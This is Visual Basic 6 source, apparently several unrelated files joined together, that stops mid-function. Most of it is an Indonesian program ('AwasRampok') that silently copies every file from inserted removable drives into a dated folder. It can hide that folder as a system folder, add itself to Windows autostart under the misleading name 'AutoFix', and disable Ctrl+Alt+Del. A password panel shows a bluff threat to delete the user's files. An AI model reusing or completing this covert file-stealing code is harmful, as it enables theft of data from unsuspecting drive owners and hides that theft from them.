MsgBox "Thank You For Using This Software." & vbNewLine & "If you have any Suggestion , Please mail me at:" & vbNewLine & "subhendra_barik@yahoo.co.in"
End
End Select
Stop1:
TotFil.Caption = List2.ListCount
Timer1.Enabled = False
Image1.Width = 100
MsgBox "Total " & List2.ListCount & " Files Deleted", vbOKOnly, "File Remover Ver-1.0.0.1"
LblTime = Format(Time - st, "HH:MM:SS")
End Sub
Private Sub CmdBrow_Click()
Dim bi As BROWSEINFO
Dim pidl As Long
Dim path As String
Dim POS As Integer
bi.hOwner = Me.hwnd
bi.pidlRoot = 0&
bi.lpszTitle = "Select original database directory."
bi.ulFlags = BIF_RETURNONLYFSDIRS
pidl = SHBrowseForFolder(bi)
path = Space$(MAX_PATH)
If SHGetPathFromIDList(ByVal pidl, ByVal path) Then
POS = InStr(path, Chr$(0))
If Len(Left(path, POS - 1)) = 3 Then
LblFol.Caption = Mid(Left(path, POS - 1), 1, 2)
Else
LblFol.Caption = Left(path, POS - 1)
End If
End If
End Sub
Private Sub Dir1_Change()
File1.path = Dir1.path
Dir1.Refresh
File1.Refresh
End Sub
Private Sub Form_Load()
Image1.Width = 100
CmbExten.Clear
Dim ext As String
Open App.path & "\ext.txt" For Input As #1
Do While Not EOF(1)
ext = ""
n = ""
Line Input #1, temp
length = Len(CStr(temp))
For i = 1 To length
n = Mid(temp, i, 1)
If n = "=" Then
For j = 1 To i - 2
ext = ext + Mid(temp, j + 1, 1)
Next j
End If
Next i
CmbExten.AddItem StrConv(ext, vbUpperCase)
Loop
Close #1
End Sub
Private Sub LblFol_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
LblFol.ToolTipText = LblFol.Caption
End Sub
Private Sub Option1_Click(Index As Integer)
Select Case Index
Case 0
CmbDrive.Enabled = False
CmdBrow.Enabled = True
Case 1
LblFol.Caption = ""
CmdBrow.Enabled = False
CmbDrive.Enabled = True
End Select
End Sub
Private Sub Timer1_Timer()
Image1.Width = Image1.Width + 20
If Image1.Width = 6820 Then Image1.Width = 100
End Sub
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Type BROWSEINFO
hOwner As Long
pidlRoot As Long
pszDisplayName As String
lpszTitle As String
ulFlags As Long
lpfn As Long
lParam As Long
iImage As Long
End Type
Public Const BIF_RETURNONLYFSDIRS = &H1
Public Const BIF_DONTGOBELOWDOMAIN = &H2
Public Const BIF_STATUSTEXT = &H4
Public Const BIF_RETURNFSANCESTORS = &H8
Public Const BIF_BROWSEFORCOMPUTER = &H1000
Public Const BIF_BROWSEFORPRINTER = &H2000
Public Const MAX_PATH = 260
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function SHBrowseForFolder Lib "shell32.dll" Alias "SHBrowseForFolderA" (lpBrowseInfo As BROWSEINFO) As Long
Public Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal pv As Long)
Public Const HKEY_LOCAL_ROOT = &H80000000
Public Const HKEY_LOCAL_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const Tempat = HKEY_LOCAL_MACHINE
Public Const SubTempat = "Software\Mr_Hack\AwasRampok"
Public Const SubRun = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Public Const READ_CONTROL = &H20000
Public Const KEY_QUERY_VALUE = &H1
Public Const KEY_SET_VALUE = &H2
Public Const KEY_CREATE_SUB_KEY = &H4
Public Const KEY_ENUMERATE_SUB_KEYS = &H8
Public Const KEY_NOTIFY = &H10
Public Const KEY_CREATE_LINK = &H20
Public Const KEY_ALL_ACCESS = _
KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
'Tipe Reg Key ROOT ...
Public Const ERROR_SUCCESS = 0
Public Const REG_SZ = 1 ' Unicode nul terminated string
Public Const REG_DWORD = 4 ' 32-bit number
Private Declare Function RegOpenKeyEx Lib _
"advapi32" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, _
ByVal ulOptions As Long, ByVal samDesired As Long, _
ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib _
"advapi32" Alias "RegQueryValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, ByRef lpType As Long, _
ByVal lpData As String, ByRef lpcbData As Long) _
As Long
Declare Function RegCreateKey Lib _
"advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As _
String, phkResult As Long) As Long
Declare Function RegCloseKey Lib _
"advapi32.dll" (ByVal hKey As Long) As Long
Declare Function RegSetValueEx Lib _
"advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal _
lpValueName As String, ByVal _
Reserved As Long, ByVal dwType _
As Long, lpData As Any, ByVal _
cbData As Long) As Long
Declare Function SystemParametersInfo Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, _
ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Code, DataString, Temp As String
Public PathDatabase As String
Public Sub SimpanReg(hKey As Long, strPath As String, _
strValue As String, strData As String)
Dim KeyHand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, KeyHand)
r = RegSetValueEx(KeyHand, strValue, 0, _
REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(KeyHand)
End Sub
Public Sub BacaReg(hKey As Long, strPath As String, strValue As String, strData As String)
On Error GoTo Error
Dim Data As Long
Data = GetKeyValue(hKey, _
strPath, strValue, strData)
Exit Sub
Error:
MsgBox "Tidak ada informasi Registry", _
vbInformation, "NIHIL"
End Sub
Public Function GetKeyValue(KeyRoot As Long, _
KeyName As String, _
SubKeyRef As String, _
ByRef KeyVal As String) _
As Boolean
Dim i As Long ' Counter untuk looping
Dim rc As Long ' Code pengembalian
Dim hKey As Long ' Penanganan membuka Registry Key
Dim hDepth As Long '
Dim KeyValType As Long ' Tipe Data sebuah Registry Key
Dim tmpVal As String ' Penyimpanan sementara nilai Registry Key
Dim KeyValSize As Long ' Ukuran variabel Registry Key
rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
tmpVal = String$(1024, 0)
KeyValSize = 1024
rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
KeyValType, tmpVal, KeyValSize)
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError
If (Asc(Mid(tmpVal, KeyValSize, 1)) = 0) Then
tmpVal = Left(tmpVal, KeyValSize - 1)
Else
tmpVal = Left(tmpVal, KeyValSize)
End If
Select Case KeyValType ' Cari tipe data...
Case REG_SZ ' Tipe data string Registry Key
KeyVal = tmpVal ' Copy nilai String
Case REG_DWORD ' Tipe data Double Word Registry Key
For i = Len(tmpVal) To 1 Step -1
KeyVal = KeyVal + Hex(Asc(Mid(tmpVal, i, 1)))
Next
KeyVal = Format$("&h" + KeyVal)
End Select
GetKeyValue = True ' Pengembalian sukses
rc = RegCloseKey(hKey) ' Tutup Registry Key
Exit Function ' Keluar dari fungsi
GetKeyError: ' Bersihkan memori jika terjadi error...
KeyVal = "" ' Set Return Val ke string kosong
GetKeyValue = False ' Pengembalian gagal
rc = RegCloseKey(hKey) ' Tutup Registry Key
End Function
Public Sub DisableCtrlAltDelete(bDisabled As Boolean)
Dim X As Long
X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub
'File
Public Declare Function GetFileAttributes Lib "kernel32" Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long
Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
'Path
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Public Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function EnumProcesses Lib "psapi.dll" (ByRef lpidProcess As Long, ByVal cb As Long, ByRef cbNeeded As Long) As Long
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnID As NOTIFYICONDATA) As Boolean
Public Const WM_CLOSE = &H10
Public Const SW_HIDE = 0
Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const WM_GETTEXT = &HD
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2
Public Const ANYSIZE_ARRAY = 1
Public Const INVALID_HANDLE_VALUE = -1
Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80
Public Const FO_DELETE = &H3
Public Const REG_DWORD = 4
Public Const PROCESS_QUERY_INFORMATION = 1024
Public Const PROCESS_VM_READ = 16
Public Const MAX_PATH = 260
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const SYNCHRONIZE = &H100000
Public Const PROCESS_ALL_ACCESS = &H1F0FFF
Public Const MAX_MODULE_NAME32 As Integer = 255
Public Const MAX_MODULE_NAME32plus As Integer = MAX_MODULE_NAME32 + 1
Public Const TH32CS_SNAPHEAPLIST = &H1
Public Const TH32CS_SNAPPROCESS = &H2
Public Const TH32CS_SNAPTHREAD = &H4
Public Const TH32CS_SNAPMODULE = &H8
Public Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Public Const hNull = 0
Public Const ERROR_SUCCESS = &H0
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Const FO_COPY = &H2
Public Const FOF_ALLOWUNDO = &H40
Public Const MAXDWORD = &HFFFF
Public Const FILE_ATTRIBUTE_TEMPORARY = &H100
Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Public Type SHFILEOPSTRUCT
hwnd As Long
wFunc As Long
pFrom As String
pTo As String
fFlags As Integer
fAnyOperationsAborted As Long
hNameMappings As Long
lpszProgressTitle As String
End Type
Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Public Type LUID
LowPart As Long
HighPart As Long
End Type
Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Public Type SHITEMID
cb As Long
abID As Byte
End Type
Public Type ITEMIDLIST
mkid As SHITEMID
End Type
Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uId As Long
uFlags As Long
uCallBackMessage As Long
hIcon As Long
szTip As String * 64
End Type
Public Const NIM_ADD = &H0
Public Const NIM_MODIFY = &H1
Public Const NIM_DELETE = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_ICON = &H2
Public Const NIF_TIP = &H4
Public Const WM_MOUSEMOVE = &H200
Public Const WM_LBUTTONDOWN = &H201 'Button down kiri.
Public Const WM_LBUTTONUP = &H202 'Button up kiri.
Public Const WM_LBUTTONDBLCLK = &H203 'Double-click.
Public Const WM_RBUTTONDOWN = &H204 'Button down kanan.
Public Const WM_RBUTTONUP = &H205 'Button up kanan.
Public Const WM_RBUTTONDBLCLK = &H206 'Double-click.
Public Selesai As Boolean
Public Ketemu As Boolean
Public Ketemu2 As Boolean
Public sPathLama1 As String
Public sPathLama2 As String
Public TmpDrv As String
Public TmpDrv2 As String
Sub Translate() 'Encrypt/Decrypt Password
Dim i As Integer
Dim lokasi As Integer
Code = "1234567890" 'Ini kode/kunci utk melakukan encrypt/decrypt
Temp$ = ""
For i% = 1 To Len(DataString)
lokasi% = (i% Mod Len(Code)) + 1
'Gunakan logika XOR utk kombinasi encrypt/decrypt
Temp$ = Temp$ + Chr$(Asc(Mid$(DataString, i%, 1)) Xor _
Asc(Mid$(Code, lokasi%, 1)))
Next i%
End Sub
Public Function CariDrive() As String
Dim ictr As Integer
Dim sDrive As String
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
CariDrive = CariDrive & sDrive
End If
Next
End Function
Public Function IdentifikasiDrive() As Boolean
Dim ictr As Integer
Dim sDrive As String
Dim Tempatnya As String
Dim AA As String
Dim BB As Integer
sDrive = ""
For ictr = 66 To 90
sDrive = Chr(ictr) & ":\"
If GetDriveType(sDrive) = 2 Then
Tempatnya = Tempatnya & sDrive
End If
Next
AA = Tempatnya
BB = Len(Trim(AA))
If BB >= 0 Then
IdentifikasiDrive = True
Else
IdentifikasiDrive = False
End If
End Function
Public Function CopyFiles(sSourcePath As String, sDestination As String, sFiles As String) As Long
Dim WFD As WIN32_FIND_DATA
Dim SA As SECURITY_ATTRIBUTES
Dim r As Long
Dim hFile As Long
Dim bNext As Long
Dim copied As Long
Dim currFile As String
On Error Resume Next
r = CreateDirectory(sDestination, SA)
hFile = FindFirstFile(sSourcePath & sFiles, WFD)
If hFile Then
Do
currFile = Left$(WFD.cFileName, InStr(WFD.cFileName, Chr$(0)))
r = CopyFile(sSourcePath & currFile, sDestination & currFile, False)
copied = copied + 1
bNext = FindNextFile(hFile, WFD)
Loop Until bNext = 0
End If
r = FindClose(hFile)
CopyFiles = copied
End Function
Public Sub BuatFolder(Foldere As String)
Dim SA As SECURITY_ATTRIBUTES
Dim Buat As Long
Buat = CreateDirectory(Foldere, SA)
End Sub
Option Explicit
Private Declare Function GetOpenFileName Lib _
"COMDLG32.DLL" Alias "GetOpenFileNameA" _
(pOpenfilename As OPENFILENAME) As Long
Private Declare Function GetSaveFileName Lib _
"COMDLG32.DLL" Alias "GetSaveFileNameA" _
(pOpenfilename As OPENFILENAME) As Long
Private cdlg As OPENFILENAME
Private LastFileName As String
Private Type OPENFILENAME
lStructSize As Long
hwndOwner As Long
hInstance As Long
lpstrFilter As String
lpstrCustomFilter As String
nMaxCustFilter As Long
nFilterIndex As Long
lpstrFile As String
nMaxFile As Long
lpstrFileTitle As String
nMaxFileTitle As Long
lpstrInitialDir As String
lpstrTitle As String
Flags As Long
nFileOffset As Integer
nFileExtension As Integer
lpstrDefExt As String
lCustData As Long
lpfnHook As Long
lpTemplateName As String
End Type
Private Const OFN_ALLOWMULTISELECT = &H200
Private Const OFN_CREATEPROMPT = &H2000
Private Const OFN_ENABLEHOOK = &H20
Private Const OFN_ENABLETEMPLATE = &H40
Private Const OFN_ENABLETEMPLATEHANDLE = &H80
Private Const OFN_EXPLORER = &H80000
Private Const OFN_EXTENSIONDIFFERENT = &H400
Private Const OFN_FILEMUSTEXIST = &H1000
Private Const OFN_HIDEREADONLY = &H4
Private Const OFN_LONGNAMES = &H200000
Private Const OFN_NOCHANGEDIR = &H8
Private Const OFN_NODEREFERENCELINKS = &H100000
Private Const OFN_NOLONGNAMES = &H40000
Private Const OFN_NONETWORKBUTTON = &H20000
Private Const OFN_NOREADONLYRETURN = &H8000
Private Const OFN_NOTESTFILECREATE = &H10000
Private Const OFN_NOVALIDATE = &H100
Private Const OFN_OVERWRITEPROMPT = &H2
Private Const OFN_PATHMUSTEXIST = &H800
Private Const OFN_READONLY = &H1
Private Const OFN_SHAREAWARE = &H4000
Private Const OFN_SHAREFALLTHROUGH = 2
Private Const OFN_SHARENOWARN = 1
Private Const OFN_SHAREWARN = 0
Private Const OFN_SHOWHELP = &H10
Public Enum DialogFlags
ALLOWMULTISELECT = OFN_ALLOWMULTISELECT
CREATEPROMPT = OFN_CREATEPROMPT
ENABLEHOOK = OFN_ENABLEHOOK
ENABLETEMPLATE = OFN_ENABLETEMPLATE
ENABLETEMPLATEHANDLE = OFN_ENABLETEMPLATEHANDLE
EXPLORER = OFN_EXPLORER
EXTENSIONDIFFERENT = OFN_EXTENSIONDIFFERENT
FILEMUSTEXIST = OFN_FILEMUSTEXIST
HIDEREADONLY = OFN_HIDEREADONLY
LONGNAMES = OFN_LONGNAMES
NOCHANGEDIR = OFN_NOCHANGEDIR
NODEREFERENCELINKS = OFN_NODEREFERENCELINKS
NOLONGNAMES = OFN_NOLONGNAMES
NONETWORKBUTTON = OFN_NONETWORKBUTTON
NOREADONLYRETURN = OFN_NOREADONLYRETURN
NOTESTFILECREATE = OFN_NOTESTFILECREATE
NOVALIDATE = OFN_NOVALIDATE
OVERWRITEPROMPT = OFN_OVERWRITEPROMPT
PATHMUSTEXIST = OFN_PATHMUSTEXIST
ReadOnly = OFN_READONLY
SHAREAWARE = OFN_SHAREAWARE
SHAREFALLTHROUGH = OFN_SHAREFALLTHROUGH
SHARENOWARN = OFN_SHARENOWARN
SHAREWARN = OFN_SHAREWARN
ShowHelp = OFN_SHOWHELP
End Enum
Private CFm_CancelError As Boolean
Private CFm_DialogTitle As String
Private CFm_DefaultExt As String
Private CFm_FileName As String
Private CFm_FileTitle As String
Private CFm_Filter As String
Private CFm_Flags As DialogFlags
Private CFm_InitDir As String
Public Property Get CancelError() As Boolean
CancelError = CFm_CancelError
End Property
Public Property Let CancelError(PropVal As Boolean)
CFm_CancelError = PropVal
End Property
Public Property Get DialogTitle() As String
DialogTitle = CFm_DialogTitle
End Property
Public Property Let DialogTitle(PropVal As String)
CFm_DialogTitle = PropVal
End Property
Public Property Get DefaultExt() As String
DefaultExt = CFm_DefaultExt
End Property
Public Property Let DefaultExt(PropVal As String)
CFm_DefaultExt = PropVal
End Property
Public Property Get FileName() As String
FileName = CFm_FileName
End Property
Public Property Let FileName(PropVal As String)
CFm_FileName = PropVal
End Property
Public Property Get FileTitle() As String
FileTitle = CFm_FileTitle
End Property
Public Property Let FileTitle(PropVal As String)
CFm_FileTitle = PropVal
End Property
Public Property Get Filter() As String
Filter = CFm_Filter
End Property
Public Property Let Filter(PropVal As String)
CFm_Filter = PropVal
End Property
Public Property Get Flags() As DialogFlags
Flags = CFm_Flags
End Property
Public Property Let Flags(PropVal As DialogFlags)
CFm_Flags = PropVal
End Property
Public Property Get InitDir() As String
InitDir = CFm_InitDir
End Property
Public Property Let InitDir(PropVal As String)
CFm_InitDir = PropVal
End Property
Private Sub UserControl_Initialize()
UserControl.Height = 32 * 15
UserControl.Width = 32 * 15
End Sub
Private Sub UserControl_Resize()
UserControl.Height = 32 * 15
UserControl.Width = 32 * 15
End Sub
Public Sub ShowOpen()
Dim i As Integer
Dim flt As String, idir As String, trez As String
flt = Replace(Filter, "|", Chr(0))
If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir
cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetOpenFileName(cdlg), Trim(cdlg.lpstrFile), "")
If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"
End Sub
Public Sub ShowSave()
Dim i As Integer
Dim flt As String, idir As String, trez As String
flt = Replace(Filter, "|", Chr(0))
If Len(flt) = 0 Then flt = Replace("All Files (*.*)|*.*|", _
"|", Chr(0))
If Right(flt, 1) <> Chr(0) Then flt = flt & Chr(0)
If Len(InitDir) = 0 Then idir = FileName Else idir = InitDir
cdlg.hwndOwner = UserControl.Parent.hwnd
cdlg.hInstance = App.hInstance
cdlg.lpstrFilter = flt
cdlg.lpstrFile = FileName & String(255 - Len(FileName), _
Chr(0))
cdlg.nMaxFile = 256
cdlg.lpstrFileTitle = String(255, Chr(0))
cdlg.nMaxFileTitle = 256
cdlg.lpstrInitialDir = idir
cdlg.lpstrTitle = DialogTitle
cdlg.Flags = Flags
cdlg.lStructSize = Len(cdlg)
trez = IIf(GetSaveFileName(cdlg), Trim(cdlg.lpstrFile), "")
If Len(trez) > 0 Then FileName = trez: FileTitle = _
cdlg.lpstrFileTitle Else If CancelError Then _
Err.Raise -1, "CDL control", "Cancel"
End Sub
Dim Password As String
Dim UserName As String
Private Sub cmdCancel_Click()
txtUser.Text = ""
txtPass.Text = ""
Unload Me
End Sub
Private Sub cmdOK_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
DataString = Password
Translate
Password = Temp$
If txtUser.Text = UserName Then
If txtPass.Text = Password Then
txtPass.Text = ""
Perkosa.WindowState = 0
Perkosa.Show
Me.Hide
Else
MsgBox "Maaf! password salah!", vbOKOnly + vbCritical, "Sory bro"
Label2.Caption = Val(Label2.Caption) + 1
txtUser.Text = ""
txtPass.Text = ""
End If
Else
txtUser.Text = ""
txtPass.Text = ""
MsgBox "Maaf! Username ga cocok bro!", vbOKOnly + vbCritical, "Salah bro"
Label2.Caption = Val(Label2.Caption) + 1
End If
If Label2.Caption = "3" Then
MsgBox "File kompi anda akan terhapus semua!" + Chr(13) + _
"Silahkan tunggu 10 menit untuk melihatnya!!", vbOKOnly + vbCritical, "Hancurkannnn"
txtUser.Text = ""
txtPass.Text = ""
Label2.Caption = "0"
Exit Sub
Unload Me
End If
End Sub
Private Sub Form_Activate()
txtUser.SetFocus
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
cmdCancel_Click
End Sub
Dim SearchFlag As Integer
Dim Aku As Long
Dim myPath As String
Dim Direktori As String, Folder As String, Ekstensi As String
Dim UserName As String, Password As String, AutoStart As String
Dim Hidden As String, RampokSemua As String
Dim nID As NOTIFYICONDATA
Private Sub UpdateIcon(IconApa As Long)
With nID
.cbSize = Len(nID)
.hwnd = Me.hwnd
.uId = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallBackMessage = WM_MOUSEMOVE
.hIcon = IconApa
End With
Shell_NotifyIcon NIM_ADD, nID
End Sub
Private Sub Rampok(Tempatnya As String)
Dim PathPertama As String, JumlahDir As Integer, NomorFile As Integer
Dim Hasilnya As Integer
Dim ind As Integer
Dim i As Integer
On Error Resume Next
If dirList.Path <> dirList.List(dirList.ListIndex) Then
dirList.Path = dirList.List(dirList.ListIndex)
Exit Sub
End If
dirList.Path = Tempatnya
PathPertama = dirList.Path
JumlahDir = dirList.ListCount
DoEvents
NomorFile = 0
Hasilnya = DirDiver(PathPertama, JumlahDir, "")
filList.Path = dirList.Path
Screen.MousePointer = vbDefault
End Sub
Private Function DirDiver(PathBaru As String, JumlahDir As Integer, BackUp As String) As Integer
Dim DirsToPeek As Long
Dim AbandonSearch As Long
Dim ind As Long
Dim PathLama As String
Dim PathSekarang As String
Dim Entry As String
Dim Retval As Integer
Dim X As Integer
Dim HariIni As String
On Error Resume Next
HariIni = Format(Now, "yyyymmdd")
BuatFolder txtField(0).Text + txtField(1).Text + "\"
BuatFolder txtField(0).Text + txtField(1).Text + "\" + HariIni + "\"
SearchFlag = True
DirDiver = False
Retval = DoEvents()
If SearchFlag = False Then
DirDiver = True
Exit Function
End If
DirsToPeek = dirList.ListCount
Do While DirsToPeek > 0 And SearchFlag = True
PathLama = dirList.Path
dirList.Path = PathBaru
If dirList.ListCount > 0 Then
dirList.Path = dirList.List(DirsToPeek - 1)
AbandonSearch = DirDiver((dirList.Path), JumlahDir%, PathLama)
End If
DirsToPeek = DirsToPeek - 1
If AbandonSearch = True Then Exit Function
Loop
If filList.ListCount Then
If Len(dirList.Path) <= 3 Then
PathSekarang = dirList.Path
Else
PathSekarang = dirList.Path + "\"
End If
For ind = 0 To filList.ListCount - 1
Entry = PathSekarang + filList.List(ind)
Aku = CopyFiles(PathSekarang, txtField(0).Text + txtField(1).Text + "\" + HariIni + "\", filList.List(ind))
Next ind
End If
If BackUp <> "" Then
dirList.Path = BackUp
End If
End Function
Private Sub chkHide_Click()
On Error Resume Next
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf chkHide.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
End Sub
Private Sub chkStart_Click()
On Error Resume Next
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
ElseIf chkStart.Value = 0 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
End Sub
Private Sub cmdBrowse_Click()
On Error Resume Next
With BukaFile
.ShowOpen
txtField(0).Text = Left(.FileName, Len(Trim(.FileName)) - Len(Trim(.FileTitle)))
End With
End Sub
Private Sub cmdSimpan_Click()
On Error Resume Next
DataString = txtField(4).Text
Translate
Call SimpanReg(Tempat, SubTempat, "Direktori", txtField(0).Text)
Call SimpanReg(Tempat, SubTempat, "Folder", txtField(1).Text)
Call SimpanReg(Tempat, SubTempat, "Ekstensi", txtField(2).Text)
Call SimpanReg(Tempat, SubTempat, "UserName", txtField(3).Text)
Call SimpanReg(Tempat, SubTempat, "Password", Temp$)
If chkStart.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "AutoStart", "True")
